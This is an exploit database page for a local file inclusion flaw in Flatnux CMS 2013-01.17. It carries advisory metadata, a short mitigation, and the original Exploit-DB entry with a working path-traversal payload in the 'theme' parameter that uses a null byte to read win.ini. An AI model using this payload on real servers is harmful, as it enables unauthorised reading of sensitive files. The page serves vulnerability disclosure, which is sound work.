header-logo
Suggest Exploit
vendor:
Flatnux CMS
by:
DaOne aka Mocking Bird
7,5
CVSS
HIGH
Local File Inclusion
98
CWE
Product Name: Flatnux CMS
Affected Version From: 2013-01.17
Affected Version To: 2013-01.17
Patch Exists: NO
Related CWE: N/A
CPE: a:flatnux:flatnux
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Apache/2.2.8(Win32) PHP/5.2.6
2013

Flatnux CMS Local File Inclusion

Flatnux CMS is vulnerable to Local File Inclusion. An attacker can exploit this vulnerability by sending a crafted HTTP request with a malicious file path in the 'theme' parameter. This can allow an attacker to read sensitive files from the server.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in file operations.
Source

Exploit-DB raw data:

##########################################
[~] Exploit Title: Flatnux CMS Local File Inclusion
[~] Date: 21-03-2013
[~] Author: DaOne aka Mocking Bird
[~] Vendor Homepage: http://flatnux.altervista.org/
[~] Software Link: http://flatnux.altervista.org/download.html?f=Flatnux-Next/flatnux-2013-01.17.zip
[~] Category: webapps/php
[~] Version: 2013-01.17
[~] Tested on: Apache/2.2.8(Win32) PHP/5.2.6
##########################################

# Exploit
index.php?theme={localfile}{nullbyte}
http://localhost/flatnux/index.php?theme=../../../../../../../../../../windows/win.ini%00

Navigation

Suggest Exploit

Services By CQR